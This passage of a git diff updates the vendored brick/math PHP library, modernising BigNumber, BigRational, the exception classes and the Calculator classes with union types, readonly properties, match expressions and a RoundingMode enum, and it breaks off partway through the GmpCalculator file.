- } + if ($integral === null && $fractional === null) { + throw NumberFormatException::invalidFormat($value); + } - if ($integral === null) { - $integral = '0'; - } + if ($integral === null) { + $integral = '0'; + } - if ($point !== null || $exponent !== null) { - $fractional = ($fractional ?? ''); - $exponent = ($exponent !== null) ? (int) $exponent : 0; + if ($point !== null || $exponent !== null) { + $fractional = ($fractional ?? ''); + $exponent = ($exponent !== null) ? (int)$exponent : 0; - if ($exponent === PHP_INT_MIN || $exponent === PHP_INT_MAX) { - throw new NumberFormatException('Exponent too large.'); - } + if ($exponent === PHP_INT_MIN || $exponent === PHP_INT_MAX) { + throw new NumberFormatException('Exponent too large.'); + } - $unscaledValue = self::cleanUp(($sign ?? ''). $integral . $fractional); + $unscaledValue = self::cleanUp($sign, $integral . $fractional); - $scale = \strlen($fractional) - $exponent; + $scale = \strlen($fractional) - $exponent; - if ($scale < 0) { - if ($unscaledValue !== '0') { - $unscaledValue .= \str_repeat('0', - $scale); + if ($scale < 0) { + if ($unscaledValue !== '0') { + $unscaledValue .= \str_repeat('0', -$scale); + } + $scale = 0; } - $scale = 0; - } - return new BigDecimal($unscaledValue, $scale); - } + return new BigDecimal($unscaledValue, $scale); + } - $integral = self::cleanUp(($sign ?? '') . $integral); + $integral = self::cleanUp($sign, $integral); - return new BigInteger($integral); + return new BigInteger($integral); + } } /** - * Safely converts float to string, avoiding locale-dependent issues. - * - * @see https://github.com/brick/math/pull/20 + * Overridden by subclasses to convert a BigNumber to an instance of the subclass. * - * @param float $float + * @throws MathException If the value cannot be converted. * - * @return string + * @psalm-pure + */ + abstract protected static function from(BigNumber $number): static; + + /** + * Proxy method to access BigInteger's protected constructor from sibling classes. * + * @internal * @psalm-pure - * @psalm-suppress ImpureFunctionCall */ - private static function floatToString(float $float) : string + final protected function newBigInteger(string $value) : BigInteger { - $currentLocale = \setlocale(LC_NUMERIC, '0'); - \setlocale(LC_NUMERIC, 'C'); - - $result = (string) $float; - - \setlocale(LC_NUMERIC, $currentLocale); - - return $result; + return new BigInteger($value); } /** - * Proxy method to access protected constructors from sibling classes. + * Proxy method to access BigDecimal's protected constructor from sibling classes. * * @internal + * @psalm-pure + */ + final protected function newBigDecimal(string $value, int $scale = 0) : BigDecimal + { + return new BigDecimal($value, $scale); + } + + /** + * Proxy method to access BigRational's protected constructor from sibling classes. * - * @param mixed ...$args The arguments to the constructor. - * - * @return static - * + * @internal * @psalm-pure - * @psalm-suppress TooManyArguments - * @psalm-suppress UnsafeInstantiation */ - protected static function create(... $args) : BigNumber + final protected function newBigRational(BigInteger $numerator, BigInteger $denominator, bool $checkDenominator) : BigRational { - return new static(... $args); + return new BigRational($numerator, $denominator, $checkDenominator); } /** @@ -198,16 +208,12 @@ protected static function create(... $args) : BigNumber * @param BigNumber|int|float|string ...$values The numbers to compare. All the numbers need to be convertible * to an instance of the class this method is called on. * - * @return static The minimum value. - * * @throws \InvalidArgumentException If no values are given. * @throws MathException If an argument is not valid. * - * @psalm-suppress LessSpecificReturnStatement - * @psalm-suppress MoreSpecificReturnType * @psalm-pure */ - public static function min(...$values) : BigNumber + final public static function min(BigNumber|int|float|string ...$values) : static { $min = null; @@ -232,16 +238,12 @@ public static function min(...$values) : BigNumber * @param BigNumber|int|float|string ...$values The numbers to compare. All the numbers need to be convertible * to an instance of the class this method is called on. * - * @return static The maximum value. - * * @throws \InvalidArgumentException If no values are given. * @throws MathException If an argument is not valid. * - * @psalm-suppress LessSpecificReturnStatement - * @psalm-suppress MoreSpecificReturnType * @psalm-pure */ - public static function max(...$values) : BigNumber + final public static function max(BigNumber|int|float|string ...$values) : static { $max = null; @@ -266,18 +268,14 @@ public static function max(...$values) : BigNumber * @param BigNumber|int|float|string ...$values The numbers to add. All the numbers need to be convertible * to an instance of the class this method is called on. * - * @return static The sum. - * * @throws \InvalidArgumentException If no values are given. * @throws MathException If an argument is not valid. * - * @psalm-suppress LessSpecificReturnStatement - * @psalm-suppress MoreSpecificReturnType * @psalm-pure */ - public static function sum(...$values) : BigNumber + final public static function sum(BigNumber|int|float|string ...$values) : static { - /** @var BigNumber|null $sum */ + /** @var static|null $sum */ $sum = null; foreach ($values as $value) { @@ -301,11 +299,6 @@ public static function sum(...$values) : BigNumber * depending on their ability to perform the operation. This will also require a version bump because we're * potentially breaking custom BigNumber implementations (if any...) * - * @param BigNumber $a - * @param BigNumber $b - * - * @return BigNumber - * * @psalm-pure */ private static function add(BigNumber $a, BigNumber $b) : BigNumber @@ -332,141 +325,100 @@ private static function add(BigNumber $a, BigNumber $b) : BigNumber } /** - * Removes optional leading zeros and + sign from the given number. - * - * @param string $number The number, validated as a non-empty string of digits with optional leading sign. + * Removes optional leading zeros and applies sign. * - * @return string + * @param string|null $sign The sign, '+' or '-', optional. Null is allowed for convenience and treated as '+'. + * @param string $number The number, validated as a non-empty string of digits. * * @psalm-pure */ - private static function cleanUp(string $number) : string + private static function cleanUp(string|null $sign, string $number) : string { - $firstChar = $number[0]; - - if ($firstChar === '+' || $firstChar === '-') { - $number = \substr($number, 1); - } - $number = \ltrim($number, '0'); if ($number === '') { return '0'; } - if ($firstChar === '-') { - return '-' . $number; - } - - return $number; + return $sign === '-' ? '-' . $number : $number; } /** * Checks if this number is equal to the given one. - * - * @param BigNumber|int|float|string $that - * - * @return bool */ - public function isEqualTo($that) : bool + final public function isEqualTo(BigNumber|int|float|string $that) : bool { return $this->compareTo($that) === 0; } /** * Checks if this number is strictly lower than the given one. - * - * @param BigNumber|int|float|string $that - * - * @return bool */ - public function isLessThan($that) : bool + final public function isLessThan(BigNumber|int|float|string $that) : bool { return $this->compareTo($that) < 0; } /** * Checks if this number is lower than or equal to the given one. - * - * @param BigNumber|int|float|string $that - * - * @return bool */ - public function isLessThanOrEqualTo($that) : bool + final public function isLessThanOrEqualTo(BigNumber|int|float|string $that) : bool { return $this->compareTo($that) <= 0; } /** * Checks if this number is strictly greater than the given one. - * - * @param BigNumber|int|float|string $that - * - * @return bool */ - public function isGreaterThan($that) : bool + final public function isGreaterThan(BigNumber|int|float|string $that) : bool { return $this->compareTo($that) > 0; } /** * Checks if this number is greater than or equal to the given one. - * - * @param BigNumber|int|float|string $that - * - * @return bool */ - public function isGreaterThanOrEqualTo($that) : bool + final public function isGreaterThanOrEqualTo(BigNumber|int|float|string $that) : bool { return $this->compareTo($that) >= 0; } /** * Checks if this number equals zero. - * - * @return bool */ - public function isZero() : bool + final public function isZero() : bool { return $this->getSign() === 0; } /** * Checks if this number is strictly negative. - * - * @return bool */ - public function isNegative() : bool + final public function isNegative() : bool { return $this->getSign() < 0; } /** * Checks if this number is negative or zero. - * - * @return bool */ - public function isNegativeOrZero() : bool + final public function isNegativeOrZero() : bool { return $this->getSign() <= 0; } /** * Checks if this number is strictly positive. - * - * @return bool */ - public function isPositive() : bool + final public function isPositive() : bool { return $this->getSign() > 0; } /** * Checks if this number is positive or zero. - * - * @return bool */ - public function isPositiveOrZero() : bool + final public function isPositiveOrZero() : bool { return $this->getSign() >= 0; } @@ -474,6 +426,8 @@ public function isPositiveOrZero() : bool /** * Returns the sign of this number. * + * @psalm-return -1|0|1 + * * @return int -1 if the number is negative, 0 if zero, 1 if positive. */ abstract public function getSign() : int; @@ -481,19 +435,17 @@ abstract public function getSign() : int; /** * Compares this number to the given one. * - * @param BigNumber|int|float|string $that + * @psalm-return -1|0|1 * - * @return int [-1,0,1] If `$this` is lower than, equal to, or greater than `$that`. + * @return int -1 if `$this` is lower than, 0 if equal to, 1 if greater than `$that`. * * @throws MathException If the number is not valid. */ - abstract public function compareTo($that) : int; + abstract public function compareTo(BigNumber|int|float|string $that) : int; /** * Converts this number to a BigInteger. * - * @return BigInteger The converted number. - * * @throws RoundingNecessaryException If this number cannot be converted to a BigInteger without rounding. */ abstract public function toBigInteger() : BigInteger; @@ -501,31 +453,25 @@ abstract public function toBigInteger() : BigInteger; /** * Converts this number to a BigDecimal. * - * @return BigDecimal The converted number. - * * @throws RoundingNecessaryException If this number cannot be converted to a BigDecimal without rounding. */ abstract public function toBigDecimal() : BigDecimal; /** * Converts this number to a BigRational. - * - * @return BigRational The converted number. */ abstract public function toBigRational() : BigRational; /** * Converts this number to a BigDecimal with the given scale, using rounding if necessary. * - * @param int $scale The scale of the resulting `BigDecimal`. - * @param int $roundingMode A `RoundingMode` constant. - * - * @return BigDecimal + * @param int $scale The scale of the resulting `BigDecimal`. + * @param RoundingMode $roundingMode An optional rounding mode, defaults to UNNECESSARY. * * @throws RoundingNecessaryException If this number cannot be converted to the given scale without rounding. * This only applies when RoundingMode::UNNECESSARY is used. */ - abstract public function toScale(int $scale, int $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal; + abstract public function toScale(int $scale, RoundingMode $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal; /** * Returns the exact value of this number as a native integer. @@ -533,8 +479,6 @@ abstract public function toScale(int $scale, int $roundingMode = RoundingMode::U * If this number cannot be converted to a native integer without losing precision, an exception is thrown. * Note that the acceptable range for an integer depends on the platform and differs for 32-bit and 64-bit. * - * @return int The converted value. - * * @throws MathException If this number cannot be exactly converted to a native integer. */ abstract public function toInt() : int; @@ -547,8 +491,6 @@ abstract public function toInt() : int; * * If the number is greater than the largest representable floating point number, positive infinity is returned. * If the number is less than the smallest representable floating point number, negative infinity is returned. - * - * @return float The converted value. */ abstract public function toFloat() : float; @@ -557,15 +499,10 @@ abstract public function toFloat() : float; * * The output of this method can be parsed by the `of()` factory method; * this will yield an object equal to this one, without any information loss. - * - * @return string */ abstract public function __toString() : string; - /** - * {@inheritdoc} - */ - public function jsonSerialize() : string + final public function jsonSerialize() : string { return $this->__toString(); } diff --git a/vendor/brick/math/src/BigRational.php b/vendor/brick/math/src/BigRational.php index bee094f73..fc3060ede 100644 --- a/vendor/brick/math/src/BigRational.php +++ b/vendor/brick/math/src/BigRational.php @@ -20,17 +20,13 @@ final class BigRational extends BigNumber { /** * The numerator. - * - * @var BigInteger */ - private $numerator; + private readonly BigInteger $numerator; /** * The denominator. Always strictly positive. - * - * @var BigInteger */ - private $denominator; + private readonly BigInteger $denominator; /** * Protected constructor. Use a factory method to obtain an instance. @@ -59,19 +55,11 @@ protected function __construct(BigInteger $numerator, BigInteger $denominator, b } /** - * Creates a BigRational of the given value. - * - * @param BigNumber|int|float|string $value - * - * @return BigRational - * - * @throws MathException If the value cannot be converted to a BigRational. - * * @psalm-pure */ - public static function of($value) : BigNumber + protected static function from(BigNumber $number): static { - return parent::of($value)->toBigRational(); + return $number->toBigRational(); } /** @@ -83,16 +71,16 @@ public static function of($value) : BigNumber * @param BigNumber|int|float|string $numerator The numerator. Must be convertible to a BigInteger. * @param BigNumber|int|float|string $denominator The denominator. Must be convertible to a BigInteger. * - * @return BigRational - * * @throws NumberFormatException If an argument does not represent a valid number. * @throws RoundingNecessaryException If an argument represents a non-integer number. * @throws DivisionByZeroException If the denominator is zero. * * @psalm-pure */ - public static function nd($numerator, $denominator) : BigRational - { + public static function nd( + BigNumber|int|float|string $numerator, + BigNumber|int|float|string $denominator, + ) : BigRational { $numerator = BigInteger::of($numerator); $denominator = BigInteger::of($denominator); @@ -102,8 +90,6 @@ public static function nd($numerator, $denominator) : BigRational /** * Returns a BigRational representing zero. * - * @return BigRational - * * @psalm-pure */ public static function zero() : BigRational @@ -124,8 +110,6 @@ public static function zero() : BigRational /** * Returns a BigRational representing one. * - * @return BigRational - * * @psalm-pure */ public static function one() : BigRational @@ -146,8 +130,6 @@ public static function one() : BigRational /** * Returns a BigRational representing ten. * - * @return BigRational - * * @psalm-pure */ public static function ten() : BigRational @@ -165,17 +147,11 @@ public static function ten() : BigRational return $ten; } - /** - * @return BigInteger - */ public function getNumerator() : BigInteger { return $this->numerator; } - /** - * @return BigInteger - */ public function getDenominator() : BigInteger { return $this->denominator; @@ -183,8 +159,6 @@ public function getDenominator() : BigInteger /** * Returns the quotient of the division of the numerator by the denominator. - * - * @return BigInteger */ public function quotient() : BigInteger { @@ -193,8 +167,6 @@ public function quotient() : BigInteger /** * Returns the remainder of the division of the numerator by the denominator. - * - * @return BigInteger */ public function remainder() : BigInteger { @@ -205,6 +177,8 @@ public function remainder() : BigInteger * Returns the quotient and remainder of the division of the numerator by the denominator. * * @return BigInteger[] + * + * @psalm-return array{BigInteger, BigInteger} */ public function quotientAndRemainder() : array { @@ -216,11 +190,9 @@ public function quotientAndRemainder() : array * * @param BigNumber|int|float|string $that The number to add. * - * @return BigRational The result. - * * @throws MathException If the number is not valid. */ - public function plus($that) : BigRational + public function plus(BigNumber|int|float|string $that) : BigRational { $that = BigRational::of($that); @@ -236,11 +208,9 @@ public function plus($that) : BigRational * * @param BigNumber|int|float|string $that The number to subtract. * - * @return BigRational The result. - * * @throws MathException If the number is not valid. */ - public function minus($that) : BigRational + public function minus(BigNumber|int|float|string $that) : BigRational { $that = BigRational::of($that); @@ -256,11 +226,9 @@ public function minus($that) : BigRational * * @param BigNumber|int|float|string $that The multiplier. * - * @return BigRational The result. - * * @throws MathException If the multiplier is not a valid number. */ - public function multipliedBy($that) : BigRational + public function multipliedBy(BigNumber|int|float|string $that) : BigRational { $that = BigRational::of($that); @@ -275,11 +243,9 @@ public function multipliedBy($that) : BigRational * * @param BigNumber|int|float|string $that The divisor. * - * @return BigRational The result. - * * @throws MathException If the divisor is not a valid number, or is zero. */ - public function dividedBy($that) : BigRational + public function dividedBy(BigNumber|int|float|string $that) : BigRational { $that = BigRational::of($that); @@ -292,10 +258,6 @@ public function dividedBy($that) : BigRational /** * Returns this number exponentiated to the given value. * - * @param int $exponent The exponent. - * - * @return BigRational The result. - * * @throws \InvalidArgumentException If the exponent is not in the range 0 to 1,000,000. */ public function power(int $exponent) : BigRational @@ -322,8 +284,6 @@ public function power(int $exponent) : BigRational * * The reciprocal has the numerator and denominator swapped. * - * @return BigRational - * * @throws DivisionByZeroException If the numerator is zero. */ public function reciprocal() : BigRational @@ -333,8 +293,6 @@ public function reciprocal() : BigRational /** * Returns the absolute value of this BigRational. - * - * @return BigRational */ public function abs() : BigRational { @@ -343,8 +301,6 @@ public function abs() : BigRational /** * Returns the negated value of this BigRational. - * - * @return BigRational */ public function negated() : BigRational { @@ -353,8 +309,6 @@ public function negated() : BigRational /** * Returns the simplified value of this BigRational. - * - * @return BigRational */ public function simplified() : BigRational { @@ -366,25 +320,16 @@ public function simplified() : BigRational return new BigRational($numerator, $denominator, false); } - /** - * {@inheritdoc} - */ - public function compareTo($that) : int + public function compareTo(BigNumber|int|float|string $that) : int { return $this->minus($that)->getSign(); } - /** - * {@inheritdoc} - */ public function getSign() : int { return $this->numerator->getSign(); } - /** - * {@inheritdoc} - */ public function toBigInteger() : BigInteger { $simplified = $this->simplified(); @@ -396,49 +341,32 @@ public function toBigInteger() : BigInteger return $simplified->numerator; } - /** - * {@inheritdoc} - */ public function toBigDecimal() : BigDecimal { return $this->numerator->toBigDecimal()->exactlyDividedBy($this->denominator); } - /** - * {@inheritdoc} - */ public function toBigRational() : BigRational { return $this; } - /** - * {@inheritdoc} - */ - public function toScale(int $scale, int $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal + public function toScale(int $scale, RoundingMode $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal { return $this->numerator->toBigDecimal()->dividedBy($this->denominator, $scale, $roundingMode); } - /** - * {@inheritdoc} - */ public function toInt() : int { return $this->toBigInteger()->toInt(); } - /** - * {@inheritdoc} - */ public function toFloat() : float { - return $this->numerator->toFloat() / $this->denominator->toFloat(); + $simplified = $this->simplified(); + return $simplified->numerator->toFloat() / $simplified->denominator->toFloat(); } - /** - * {@inheritdoc} - */ public function __toString() : string { $numerator = (string) $this->numerator; @@ -471,8 +399,6 @@ public function __serialize(): array * * @param array{numerator: BigInteger, denominator: BigInteger} $data * - * @return void - * * @throws \LogicException */ public function __unserialize(array $data): void @@ -484,40 +410,4 @@ public function __unserialize(array $data): void $this->numerator = $data['numerator']; $this->denominator = $data['denominator']; } - - /** - * This method is required by interface Serializable and SHOULD NOT be accessed directly. - * - * @internal - * - * @return string - */ - public function serialize() : string - { - return $this->numerator . '/' . $this->denominator; - } - - /** - * This method is only here to implement interface Serializable and cannot be accessed directly. - * - * @internal - * @psalm-suppress RedundantPropertyInitializationCheck - * - * @param string $value - * - * @return void - * - * @throws \LogicException - */ - public function unserialize($value) : void - { - if (isset($this->numerator)) { - throw new \LogicException('unserialize() is an internal function, it must not be called directly.'); - } - - [$numerator, $denominator] = \explode('/', $value); - - $this->numerator = BigInteger::of($numerator); - $this->denominator = BigInteger::of($denominator); - } } diff --git a/vendor/brick/math/src/Exception/DivisionByZeroException.php b/vendor/brick/math/src/Exception/DivisionByZeroException.php index a4e443176..ce7769ac2 100644 --- a/vendor/brick/math/src/Exception/DivisionByZeroException.php +++ b/vendor/brick/math/src/Exception/DivisionByZeroException.php @@ -10,8 +10,6 @@ class DivisionByZeroException extends MathException { /** - * @return DivisionByZeroException - * * @psalm-pure */ public static function divisionByZero() : DivisionByZeroException @@ -20,8 +18,6 @@ public static function divisionByZero() : DivisionByZeroException } /** - * @return DivisionByZeroException - * * @psalm-pure */ public static function modulusMustNotBeZero() : DivisionByZeroException @@ -30,8 +26,6 @@ public static function modulusMustNotBeZero() : DivisionByZeroException } /** - * @return DivisionByZeroException - * * @psalm-pure */ public static function denominatorMustNotBeZero() : DivisionByZeroException diff --git a/vendor/brick/math/src/Exception/IntegerOverflowException.php b/vendor/brick/math/src/Exception/IntegerOverflowException.php index e0b07d3c7..c73b49097 100644 --- a/vendor/brick/math/src/Exception/IntegerOverflowException.php +++ b/vendor/brick/math/src/Exception/IntegerOverflowException.php @@ -12,10 +12,6 @@ class IntegerOverflowException extends MathException { /** - * @param BigInteger $value - * - * @return IntegerOverflowException - * * @psalm-pure */ public static function toIntOverflow(BigInteger $value) : IntegerOverflowException diff --git a/vendor/brick/math/src/Exception/MathException.php b/vendor/brick/math/src/Exception/MathException.php index 21fda90e1..46e9c3fe4 100644 --- a/vendor/brick/math/src/Exception/MathException.php +++ b/vendor/brick/math/src/Exception/MathException.php @@ -6,9 +6,7 @@ /** * Base class for all math exceptions. - * - * This class is abstract to ensure that only fine-grained exceptions are thrown throughout the code. */ -class MathException extends \RuntimeException +class MathException extends \Exception { } diff --git a/vendor/brick/math/src/Exception/NumberFormatException.php b/vendor/brick/math/src/Exception/NumberFormatException.php index 2fd0be73a..119cadbb4 100644 --- a/vendor/brick/math/src/Exception/NumberFormatException.php +++ b/vendor/brick/math/src/Exception/NumberFormatException.php @@ -9,11 +9,17 @@ */ class NumberFormatException extends MathException { + public static function invalidFormat(string $value) : self + { + return new self(\sprintf( + 'The given value "%s" does not represent a valid number.', + $value, + )); + } + /** * @param string $char The failing character. * - * @return NumberFormatException - * * @psalm-pure */ public static function charNotInAlphabet(string $char) : self @@ -30,6 +36,6 @@ public static function charNotInAlphabet(string $char) : self $char = '"' . $char . '"'; } - return new self(sprintf('Char %s is not a valid character in the given alphabet.', $char)); + return new self(\sprintf('Char %s is not a valid character in the given alphabet.', $char)); } } diff --git a/vendor/brick/math/src/Exception/RoundingNecessaryException.php b/vendor/brick/math/src/Exception/RoundingNecessaryException.php index 1c6100563..57bfcd844 100644 --- a/vendor/brick/math/src/Exception/RoundingNecessaryException.php +++ b/vendor/brick/math/src/Exception/RoundingNecessaryException.php @@ -10,8 +10,6 @@ class RoundingNecessaryException extends MathException { /** - * @return RoundingNecessaryException - * * @psalm-pure */ public static function roundingNecessary() : RoundingNecessaryException diff --git a/vendor/brick/math/src/Internal/Calculator.php b/vendor/brick/math/src/Internal/Calculator.php index a6eac799f..44dd66924 100644 --- a/vendor/brick/math/src/Internal/Calculator.php +++ b/vendor/brick/math/src/Internal/Calculator.php @@ -25,7 +25,7 @@ abstract class Calculator /** * The maximum exponent value allowed for the pow() method. */ - public const MAX_POWER = 1000000; + public const MAX_POWER = 1_000_000; /** * The alphabet for converting from and to base 2 to 36, lowercase. @@ -34,10 +34,8 @@ abstract class Calculator /** * The Calculator instance in use. - * - * @var Calculator|null */ - private static $instance; + private static ?Calculator $instance = null; /** * Sets the Calculator instance to use. @@ -45,8 +43,6 @@ abstract class Calculator * An instance is typically set only in unit tests: the autodetect is usually the best option. * * @param Calculator|null $calculator The calculator instance, or NULL to revert to autodetect. - * - * @return void */ final public static function set(?Calculator $calculator) : void { @@ -58,8 +54,6 @@ final public static function set(?Calculator $calculator) : void * * If none has been explicitly set, the fastest available implementation will be returned. * - * @return Calculator - * * @psalm-pure * @psalm-suppress ImpureStaticProperty */ @@ -77,8 +71,6 @@ final public static function get() : Calculator * Returns the fastest available Calculator implementation. * * @codeCoverageIgnore - * - * @return Calculator */ private static function detect() : Calculator { @@ -96,9 +88,6 @@ private static function detect() : Calculator /** * Extracts the sign & digits of the operands. * - * @param string $a The first operand. - * @param string $b The second operand. - * * @return array{bool, bool, string, string} Whether $a and $b are negative, followed by their digits. */ final protected function init(string $a, string $b) : array @@ -114,10 +103,6 @@ final protected function init(string $a, string $b) : array /** * Returns the absolute value of a number. - * - * @param string $n The number. - * - * @return string The absolute value. */ final public function abs(string $n) : string { @@ -126,10 +111,6 @@ final public function abs(string $n) : string /** * Negates a number. - * - * @param string $n The number. - * - * @return string The negated value. */ final public function neg(string $n) : string { @@ -147,10 +128,9 @@ final public function neg(string $n) : string /** * Compares two numbers. * - * @param string $a The first number. - * @param string $b The second number. + * @psalm-return -1|0|1 * - * @return int [-1, 0, 1] If the first number is less than, equal to, or greater than the second number. + * @return int -1 if the first number is less than, 0 if equal to, 1 if greater than the second number. */ final public function cmp(string $a, string $b) : int { @@ -180,31 +160,16 @@ final public function cmp(string $a, string $b) : int /** * Adds two numbers. - * - * @param string $a The augend. - * @param string $b The addend. - * - * @return string The sum. */ abstract public function add(string $a, string $b) : string; /** * Subtracts two numbers. - * - * @param string $a The minuend. - * @param string $b The subtrahend. - * - * @return string The difference. */ abstract public function sub(string $a, string $b) : string; /** * Multiplies two numbers. - * - * @param string $a The multiplicand. - * @param string $b The multiplier. - * - * @return string The product. */ abstract public function mul(string $a, string $b) : string; @@ -234,7 +199,7 @@ abstract public function divR(string $a, string $b) : string; * @param string $a The dividend. * @param string $b The divisor, must not be zero. * - * @return string[] An array containing the quotient and remainder. + * @return array{string, string} An array containing the quotient and remainder. */ abstract public function divQR(string $a, string $b) : array; @@ -249,10 +214,7 @@ abstract public function divQR(string $a, string $b) : array; abstract public function pow(string $a, int $e) : string; /** - * @param string $a * @param string $b The modulus; must not be zero. - * - * @return string */ public function mod(string $a, string $b) : string { @@ -266,10 +228,7 @@ public function mod(string $a, string $b) : string * * This method can be overridden by the concrete implementation if the underlying library has built-in support. * - * @param string $x * @param string $m The modulus; must not be negative or zero. - * - * @return string|null */ public function modInverse(string $x, string $m) : ?string { @@ -283,9 +242,7 @@ public function modInverse(string $x, string $m) : ?string $modVal = $this->mod($x, $m); } - $x = '0'; - $y = '0'; - $g = $this->gcdExtended($modVal, $m, $x, $y); + [$g, $x] = $this->gcdExtended($modVal, $m); if ($g !== '1') { return null; @@ -300,8 +257,6 @@ public function modInverse(string $x, string $m) : ?string * @param string $base The base number; must be positive or zero. * @param string $exp The exponent; must be positive or zero. * @param string $mod The modulus; must be strictly positive. - * - * @return string The power. */ abstract public function modPow(string $base, string $exp, string $mod) : string; @@ -311,9 +266,6 @@ abstract public function modPow(string $base, string $exp, string $mod) : string * This method can be overridden by the concrete implementation if the underlying library * has built-in support for GCD calculations. * - * @param string $a The first number. - * @param string $b The second number. - * * @return string The GCD, always positive, or zero if both arguments are zero. */ public function gcd(string $a, string $b) : string @@ -329,24 +281,21 @@ public function gcd(string $a, string $b) : string return $this->gcd($b, $this->divR($a, $b)); } - private function gcdExtended(string $a, string $b, string &$x, string &$y) : string + /** + * @return array{string, string, string} GCD, X, Y + */ + private function gcdExtended(string $a, string $b) : array { if ($a === '0') { - $x = '0'; - $y = '1'; - - return $b; + return [$b, '0', '1']; } - $x1 = '0'; - $y1 = '0'; - - $gcd = $this->gcdExtended($this->mod($b, $a), $a, $x1, $y1); + [$gcd, $x1, $y1] = $this->gcdExtended($this->mod($b, $a), $a); $x = $this->sub($y1, $this->mul($this->divQ($b, $a), $x1)); $y = $x1; - return $gcd; + return [$gcd, $x, $y]; } /** @@ -354,10 +303,6 @@ private function gcdExtended(string $a, string $b, string &$x, string &$y) : str * * The result is the largest x such that x² ≤ n. * The input MUST NOT be negative. - * - * @param string $n The number. - * - * @return string The square root. */ abstract public function sqrt(string $n) : string; @@ -485,16 +430,16 @@ final public function toArbitraryBase(string $number, string $alphabet, int $bas * * Rounding is performed when the remainder of the division is not zero. * - * @param string $a The dividend. - * @param string $b The divisor, must not be zero. - * @param int $roundingMode The rounding mode. - * - * @return string + * @param string $a The dividend. + * @param string $b The divisor, must not be zero. + * @param RoundingMode $roundingMode The rounding mode. * * @throws \InvalidArgumentException If the rounding mode is invalid. * @throws RoundingNecessaryException If RoundingMode::UNNECESSARY is provided but rounding is necessary. + * + * @psalm-suppress ImpureFunctionCall */ - final public function divRound(string $a, string $b, int $roundingMode) : string + final public function divRound(string $a, string $b, RoundingMode $roundingMode) : string { [$quotient, $remainder] = $this->divQR($a, $b); @@ -570,11 +515,6 @@ final public function divRound(string $a, string $b, int $roundingMode) : string * * This method can be overridden by the concrete implementation if the underlying library * has built-in support for bitwise operations. - * - * @param string $a - * @param string $b - * - * @return string */ public function and(string $a, string $b) : string { @@ -586,11 +526,6 @@ public function and(string $a, string $b) : string * * This method can be overridden by the concrete implementation if the underlying library * has built-in support for bitwise operations. - * - * @param string $a - * @param string $b - * - * @return string */ public function or(string $a, string $b) : string { @@ -602,11 +537,6 @@ public function or(string $a, string $b) : string * * This method can be overridden by the concrete implementation if the underlying library * has built-in support for bitwise operations. - * - * @param string $a - * @param string $b - * - * @return string */ public function xor(string $a, string $b) : string { @@ -616,11 +546,9 @@ public function xor(string $a, string $b) : string /** * Performs a bitwise operation on a decimal number. * - * @param string $operator The operator to use, must be "and", "or" or "xor". - * @param string $a The left operand. - * @param string $b The right operand. - * - * @return string + * @param 'and'|'or'|'xor' $operator The operator to use. + * @param string $a The left operand. + * @param string $b The right operand. */ private function bitwise(string $operator, string $a, string $b) : string { @@ -645,27 +573,17 @@ private function bitwise(string $operator, string $a, string $b) : string $bBin = $this->twosComplement($bBin); } - switch ($operator) { - case 'and': - $value = $aBin & $bBin; - $negative = ($aNeg and $bNeg); - break; - - case 'or': - $value = $aBin | $bBin; - $negative = ($aNeg or $bNeg); - break; - - case 'xor': - $value = $aBin ^ $bBin; - $negative = ($aNeg xor $bNeg); - break; + $value = match ($operator) { + 'and' => $aBin & $bBin, + 'or' => $aBin | $bBin, + 'xor' => $aBin ^ $bBin, + }; - // @codeCoverageIgnoreStart - default: - throw new \InvalidArgumentException('Invalid bitwise operator.'); - // @codeCoverageIgnoreEnd - } + $negative = match ($operator) { + 'and' => $aNeg and $bNeg, + 'or' => $aNeg or $bNeg, + 'xor' => $aNeg xor $bNeg, + }; if ($negative) { $value = $this->twosComplement($value); @@ -678,8 +596,6 @@ private function bitwise(string $operator, string $a, string $b) : string /** * @param string $number A positive, binary number. - * - * @return string */ private function twosComplement(string $number) : string { @@ -709,8 +625,6 @@ private function twosComplement(string $number) : string * Converts a decimal number to a binary string. * * @param string $number The number to convert, positive or zero, only digits. - * - * @return string */ private function toBinary(string $number) : string { @@ -728,8 +642,6 @@ private function toBinary(string $number) : string * Returns the positive decimal representation of a binary number. * * @param string $bytes The bytes representing the number. - * - * @return string */ private function toDecimal(string $bytes) : string { diff --git a/vendor/brick/math/src/Internal/Calculator/BcMathCalculator.php b/vendor/brick/math/src/Internal/Calculator/BcMathCalculator.php index 6632b378a..067085e21 100644 --- a/vendor/brick/math/src/Internal/Calculator/BcMathCalculator.php +++ b/vendor/brick/math/src/Internal/Calculator/BcMathCalculator.php @@ -15,100 +15,49 @@ */ class BcMathCalculator extends Calculator { - /** - * {@inheritdoc} - */ public function add(string $a, string $b) : string { return \bcadd($a, $b, 0); } - /** - * {@inheritdoc} - */ public function sub(string $a, string $b) : string { return \bcsub($a, $b, 0); } - /** - * {@inheritdoc} - */ public function mul(string $a, string $b) : string { return \bcmul($a, $b, 0); } - /** - * {@inheritdoc} - * - * @psalm-suppress InvalidNullableReturnType - * @psalm-suppress NullableReturnStatement - */ public function divQ(string $a, string $b) : string { return \bcdiv($a, $b, 0); } - /** - * {@inheritdoc} - * - * @psalm-suppress InvalidNullableReturnType - * @psalm-suppress NullableReturnStatement - */ public function divR(string $a, string $b) : string { - if (version_compare(PHP_VERSION, '7.2') >= 0) { - return \bcmod($a, $b, 0); - } - - return \bcmod($a, $b); + return \bcmod($a, $b, 0); } - /** - * {@inheritdoc} - */ public function divQR(string $a, string $b) : array { $q = \bcdiv($a, $b, 0); - - if (version_compare(PHP_VERSION, '7.2') >= 0) { - $r = \bcmod($a, $b, 0); - } else { - $r = \bcmod($a, $b); - } - - assert($q !== null); - assert($r !== null); + $r = \bcmod($a, $b, 0); return [$q, $r]; } - /** - * {@inheritdoc} - */ public function pow(string $a, int $e) : string { return \bcpow($a, (string) $e, 0); } - /** - * {@inheritdoc} - * - * @psalm-suppress InvalidNullableReturnType - * @psalm-suppress NullableReturnStatement - */ public function modPow(string $base, string $exp, string $mod) : string { return \bcpowmod($base, $exp, $mod, 0); } - /** - * {@inheritDoc} - * - * @psalm-suppress NullableReturnStatement - * @psalm-suppress InvalidNullableReturnType - */ public function sqrt(string $n) : string { return \bcsqrt($n, 0); diff --git a/vendor/brick/math/src/Internal/Calculator/GmpCalculator.php b/vendor/brick/math/src/Internal/Calculator/GmpCalculator.php index 52d18800a..42d4c6927 100644 --- 